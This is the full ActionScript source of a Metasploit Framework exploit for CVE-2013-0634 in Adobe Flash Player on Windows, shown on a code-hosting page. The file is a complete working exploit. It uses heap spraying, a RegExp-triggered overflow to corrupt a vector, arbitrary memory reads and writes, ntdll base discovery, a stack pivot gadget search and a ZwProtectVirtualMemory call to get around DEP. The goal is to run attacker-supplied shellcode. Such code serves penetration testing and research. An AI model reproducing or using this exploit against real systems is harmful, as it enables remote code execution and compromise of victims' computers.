PageRenderTime 48ms CodeModel.GetById 16ms RepoModel.GetById 0ms app.codeStats 0ms

/external/source/exploits/CVE-2013-0634/exploit.as

https://gitlab.com/alx741/metasploit-framework
ActionScript | 545 lines | 481 code | 38 blank | 26 comment | 88 complexity | 3d134d62feb5d19c97565ccafce1077c MD5 | raw file
  1. // Compile with: mxmlc exploit.as -o exploit.swf
  2. package
  3. {
  4. import flash.display.Sprite;
  5. import flash.media.Sound;
  6. import flash.utils.ByteArray;
  7. import __AS3__.vec.Vector;
  8. import flash.display.LoaderInfo;
  9. import flash.system.Capabilities;
  10. import flash.utils.Endian;
  11. import __AS3__.vec.*;
  12. import flash.utils.*;
  13. import flash.display.*;
  14. import flash.media.*;
  15. import flash.system.*;
  16. import flash.external.*;
  17. import flash.net.*;
  18. public class exploit extends Sprite
  19. {
  20. public var flash_version:Number;
  21. public var sound_object:Sound;
  22. public var byte_array:ByteArray;
  23. public var massaged_memory:Vector.<Object>;
  24. public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
  25. public var TweakedVector:Vector.<Number>;
  26. public var TweakedVector_address:uint;
  27. public var sound_address:uint;
  28. public var sound_address_vtable:uint;
  29. public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
  30. public var byte_array_data_address:uint;
  31. public var ntdll_base:uint;
  32. public var ntdll_pe_file_header:uint;
  33. public var stack_pivot:uint;
  34. public var virtual_alloc_address:uint;
  35. public var last_leaked_address:uint;
  36. public var last_leak:Vector.<uint>;
  37. public function exploit():void
  38. {
  39. this.sound_object = new Sound();
  40. this.byte_array = new ByteArray();
  41. this.massaged_memory = new Vector.<Object>(0);
  42. this.last_leak = new Vector.<uint>(2);
  43. super();
  44. var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
  45. var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
  46. if (shellcode == null){
  47. return;
  48. };
  49. if (!this.CheckVersion()){
  50. return;
  51. };
  52. this.ExploitIt(shellcode);
  53. this.Restore();
  54. }
  55. public function CheckVersion():Boolean
  56. {
  57. var capabilities:* = Capabilities.version.toLowerCase().split(" ");
  58. if (capabilities[0] != "win"){
  59. return (false);
  60. };
  61. this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
  62. if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
  63. return (false);
  64. };
  65. return (true);
  66. }
  67. public function PrepareMemoryAndOverflow():RegExp
  68. {
  69. var index:uint;
  70. var tmp_vector:Vector.<Object>;
  71. index = 0;
  72. while (index < 0x4000) {
  73. tmp_vector = new Vector.<Object>(16);
  74. tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
  75. tmp_vector[1] = this.CreateVectorSixteenNumbers();
  76. tmp_vector[2] = this.CreateVectorSixteenNumbers();
  77. tmp_vector[3] = this.CreateVectorSixteenNumbers();
  78. tmp_vector[4] = this.CreateVectorSixteenNumbers();
  79. tmp_vector[5] = this.CreateVectorSixteenNumbers();
  80. tmp_vector[6] = this.CreateVectorSixteenNumbers();
  81. tmp_vector[7] = this.CreateVectorSixteenNumbers();
  82. tmp_vector[8] = this.CreateVectorSixteenNumbers();
  83. tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
  84. tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
  85. tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
  86. tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
  87. tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
  88. tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
  89. tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
  90. this.massaged_memory[index] = tmp_vector;
  91. index++;
  92. };
  93. index = 0x2000;
  94. // Make some holes
  95. while (index < 0x3fff) {
  96. if ((index % 2) != 0){
  97. this.massaged_memory[index][2] = null;
  98. };
  99. index++;
  100. };
  101. // Hopefully reuse a hole and overflow a tmp_vector[3] field
  102. return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
  103. }
  104. public function SearchOverflowedTweakAndRestore():Boolean
  105. {
  106. var index:uint;
  107. var numbers_vector_index:uint;
  108. var overflowed_vector:Vector.<Number>;
  109. var fingerprint:Number;
  110. index = 0;
  111. _loop_1:
  112. while (index < 0x4000) {
  113. numbers_vector_index = 1;
  114. while (numbers_vector_index < 9) {
  115. try {
  116. // If the length is bigger than 17, the vector's length has been overflowed
  117. if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
  118. overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
  119. if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
  120. break _loop_1;
  121. }
  122. return (false);
  123. };
  124. } catch(e:Error) {
  125. };
  126. numbers_vector_index++;
  127. };
  128. index++;
  129. };
  130. if (overflowed_vector){
  131. this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
  132. // Overwrite the length of the vector following the overflowed one:
  133. // reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector
  134. overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
  135. // corrupts the first position of the corrupted (tweaked) vector, so we can find it
  136. // in the future easily.
  137. fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));
  138. index = 0;
  139. while (index < 0x4000) {
  140. numbers_vector_index = 1;
  141. while (numbers_vector_index < 9) {
  142. try {
  143. // restore the overflowed vector's length
  144. if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
  145. this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
  146. this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
  147. return (true);
  148. };
  149. } catch(e:Error) {
  150. };
  151. numbers_vector_index++;
  152. };
  153. index++;
  154. };
  155. };
  156. return (false);
  157. }
  158. public function Restore():void
  159. {
  160. try {
  161. if (((this.TweakedVector) && (this.vector_object_offset_4))){
  162. if (((this.sound_address) && (this.sound_address_vtable))){
  163. this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
  164. };
  165. this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
  166. return;
  167. };
  168. } catch(e:Error) {
  169. };
  170. do {
  171. } while (1);
  172. }
  173. public function GetAddressTweakedVector():Boolean
  174. {
  175. var index:uint;
  176. var index_numbers_vectors:uint;
  177. var tweaked_next:Vector.<uint>;
  178. var tweaked_next_next:Vector.<uint>;
  179. try {
  180. index = 0;
  181. // Nullify (free) number vectors who aren't the tweaked one
  182. while (index < 0x4000) {
  183. index_numbers_vectors = 1;
  184. while (index_numbers_vectors < 9) {
  185. if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
  186. this.massaged_memory[index][index_numbers_vectors] = null;
  187. };
  188. index_numbers_vectors++;
  189. };
  190. index++;
  191. };
  192. index = 1;
  193. while (index < 4) {
  194. tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
  195. tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
  196. // Verify that after the tweaked vector there are two more number vectors
  197. // With the tweaked vector it is kinda easy to disclose its own address, becasuse
  198. // Flash links vectors, so there are pointers.
  199. if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
  200. this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
  201. return (true);
  202. };
  203. index++;
  204. };
  205. } catch(e:Error) {
  206. };
  207. return (false);
  208. }
  209. public function LeakObjectAddresses():Boolean
  210. {
  211. var one_signature:Number;
  212. var i:uint;
  213. var objects_leak:Vector.<uint>;
  214. var byte_array_address:uint;
  215. try {
  216. one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
  217. i = 0;
  218. while (i < 0x1000) {
  219. // Search first objects vector entry from the tweaked one (from the massaged memory...)
  220. if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
  221. //objects_leak[0] => ByteArray object
  222. //objects_leak[1] => Sound object
  223. objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
  224. this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
  225. this.sound_address_vtable = this.Leak(this.sound_address, true);
  226. this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
  227. byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
  228. if (this.flash_version < 114){
  229. this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
  230. } else {
  231. byte_array_address = this.Leak((byte_array_address + 64), true);
  232. this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
  233. };
  234. return (true);
  235. };
  236. i++;
  237. };
  238. } catch(e:Error) {
  239. };
  240. return (false);
  241. }
  242. public function Leak(address:uint, align:Boolean):uint
  243. {
  244. var eigth_byte_aligned:uint;
  245. if (align) {
  246. eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
  247. } else {
  248. eigth_byte_aligned = 0;
  249. }
  250. if (eigth_byte_aligned){
  251. address = (address - 4);
  252. };
  253. if (this.last_leaked_address == address){
  254. return (this.last_leak[eigth_byte_aligned]);
  255. };
  256. var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
  257. this.last_leaked_address = address;
  258. this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
  259. return (this.last_leak[eigth_byte_aligned]);
  260. }
  261. public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
  262. {
  263. var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
  264. this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
  265. }
  266. public function LeakNtdll():Boolean
  267. {
  268. var ntdll_address:uint;
  269. var KiFastSystemCall_address:uint;
  270. var pe_file_header_address:uint;
  271. try {
  272. //KiFastSystemCallRet
  273. KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
  274. if (KiFastSystemCall_address == 0){
  275. KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
  276. };
  277. if (KiFastSystemCall_address){
  278. KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
  279. while (1) {
  280. if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
  281. ntdll_address = KiFastSystemCall_address;
  282. break;
  283. };
  284. KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
  285. };
  286. if (ntdll_address){
  287. pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
  288. if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
  289. this.ntdll_base = ntdll_address;
  290. this.ntdll_pe_file_header = pe_file_header_address;
  291. return (true);
  292. };
  293. };
  294. };
  295. } catch(e:Error) {
  296. };
  297. return (false);
  298. }
  299. public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
  300. {
  301. var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
  302. var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
  303. return ((_local_5 | _local_4));
  304. }
  305. public function FindStackPivot():Boolean
  306. {
  307. var ntdll_size_of_code:uint;
  308. var ntdll_base_of_code:uint;
  309. var instr:uint;
  310. var offset:uint;
  311. var next_instr:uint;
  312. var instr_offset:uint;
  313. try {
  314. ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
  315. ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
  316. if (((ntdll_size_of_code) && (ntdll_base_of_code))){
  317. ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
  318. instr = this.Leak(ntdll_base_of_code, true);
  319. offset = 4;
  320. while (offset < ntdll_size_of_code) {
  321. next_instr = this.Leak((ntdll_base_of_code + offset), true);
  322. instr_offset = 0;
  323. while (instr_offset < 4) {
  324. if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
  325. this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
  326. return (true);
  327. };
  328. instr_offset++;
  329. };
  330. instr = next_instr;
  331. offset = (offset + 4);
  332. };
  333. };
  334. } catch(e:Error) {
  335. };
  336. return (false);
  337. }
  338. public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
  339. {
  340. var content_next:uint;
  341. var content:uint = this.Leak(address, true);
  342. var i:uint;
  343. while (i < signature.length) {
  344. content_next = this.Leak((address + ((i + 1) * 4)), true);
  345. if (this.GetUint(content, content_next, offset) != signature[i]){
  346. return (false);
  347. };
  348. content = content_next;
  349. i++;
  350. };
  351. return (true);
  352. }
  353. public function LeakVirtualProtect():Boolean
  354. {
  355. var exports_address:uint;
  356. var virtual_protect_signature:Vector.<uint>;
  357. var n_functions:uint;
  358. var ptrs_entry:uint;
  359. var ptrs_name:uint;
  360. var ptrs_ordinal:uint;
  361. var i:uint;
  362. var export_name_entry:uint;
  363. var offset_export_name_entry:uint;
  364. var _local_10:uint;
  365. try {
  366. exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
  367. if (exports_address){
  368. exports_address = (exports_address + this.ntdll_base);
  369. virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
  370. n_functions = this.Leak((exports_address + 24), true);
  371. ptrs_entry = this.Leak((exports_address + 28), true);
  372. ptrs_name = this.Leak((exports_address + 32), true);
  373. ptrs_ordinal = this.Leak((exports_address + 36), true);
  374. if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
  375. ptrs_entry = (ptrs_entry + this.ntdll_base);
  376. ptrs_name = (ptrs_name + this.ntdll_base);
  377. ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
  378. i = 0;
  379. while (i < n_functions) {
  380. export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
  381. if (export_name_entry){
  382. export_name_entry = (export_name_entry + this.ntdll_base);
  383. offset_export_name_entry = (export_name_entry % 4);
  384. export_name_entry = (export_name_entry - offset_export_name_entry);
  385. if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
  386. _local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);
  387. if ((i % 2)){
  388. _local_10 = (_local_10 >>> 16);
  389. };
  390. this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
  391. return (true);
  392. };
  393. };
  394. i++;
  395. };
  396. };
  397. };
  398. } catch(e:Error) {
  399. };
  400. return (false);
  401. }
  402. public function ExploitIt(shellcode:String):void
  403. {
  404. var not_used:* = this.PrepareMemoryAndOverflow();
  405. if (!this.SearchOverflowedTweakAndRestore()){
  406. return;
  407. };
  408. if (!this.GetAddressTweakedVector()){
  409. return;
  410. };
  411. if (!this.LeakNtdll()){
  412. return;
  413. };
  414. if (!this.FindStackPivot()){
  415. return;
  416. };
  417. if (!this.LeakVirtualProtect()){
  418. return;
  419. };
  420. var i:uint;
  421. while (i < 0x19000) {
  422. this.byte_array.writeUnsignedInt(0x41424344);
  423. i++;
  424. };
  425. this.byte_array.endian = Endian.LITTLE_ENDIAN;
  426. var init_pos:uint = this.byte_array.position;
  427. // Write shellcode into the byte array
  428. this.byte_array.position = (init_pos + 136);
  429. this.write_into_byte_array(this.byte_array, shellcode);
  430. // Write stack pivot into the byte array
  431. this.byte_array.position = (init_pos + 112);
  432. this.byte_array.writeUnsignedInt(this.stack_pivot);
  433. if (!this.LeakObjectAddresses()){
  434. return;
  435. };
  436. this.byte_array_data_address = (this.byte_array_data_address + init_pos);
  437. this.byte_array.position = init_pos;
  438. // build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
  439. this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory
  440. this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
  441. this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle
  442. this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress
  443. this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect
  444. this.byte_array.writeUnsignedInt(64); // NewAccessProtection
  445. this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection
  446. this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28
  447. this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32
  448. this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36
  449. // Overwrite Sound...
  450. this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
  451. // Make it happen!
  452. new Number(this.sound_object.toString());
  453. }
  454. private function write_into_byte_array(byte_array:ByteArray, string:String):void
  455. {
  456. var _local_4:String;
  457. var _local_5:int;
  458. var _local_3:int;
  459. while (_local_3 < string.length) {
  460. _local_4 = string.substr(_local_3, 2);
  461. _local_5 = parseInt(_local_4, 16);
  462. byte_array.writeByte(_local_5);
  463. _local_3 = (_local_3 + 2);
  464. };
  465. }
  466. private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
  467. {
  468. var result_float:ByteArray = new ByteArray();
  469. result_float.endian = Endian.LITTLE_ENDIAN;
  470. result_float.writeInt(_arg_1);
  471. result_float.writeInt(_arg_2);
  472. result_float.position = 0;
  473. return (result_float.readDouble());
  474. }
  475. // vector is a Float vectors
  476. // index is the position to read from the vector
  477. // read the vector[index] float i retorna els dos enters
  478. // ocupant les dues posiciones
  479. private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
  480. {
  481. var byte_array:ByteArray = new ByteArray();
  482. byte_array.endian = Endian.BIG_ENDIAN;
  483. byte_array.writeDouble(vector[index]);
  484. var vector_uint:Vector.<uint> = new Vector.<uint>(2);
  485. byte_array.position = 0;
  486. vector_uint[1] = byte_array.readUnsignedInt();
  487. vector_uint[0] = byte_array.readUnsignedInt();
  488. return (vector_uint);
  489. }
  490. private function CreateVectorThirtyTwoObjects():Vector.<Object>
  491. {
  492. var vector:* = new Vector.<Object>(32);
  493. vector[0] = null;
  494. vector[1] = null;
  495. vector[2] = this.sound_object;
  496. vector[3] = this.byte_array;
  497. return (vector);
  498. }
  499. private function CreateVectorSixteenNumbers():Vector.<Number>
  500. {
  501. var vector:* = new Vector.<Number>(16);
  502. vector[0] = 0;
  503. vector[15] = 1;
  504. return (vector);
  505. }
  506. }
  507. }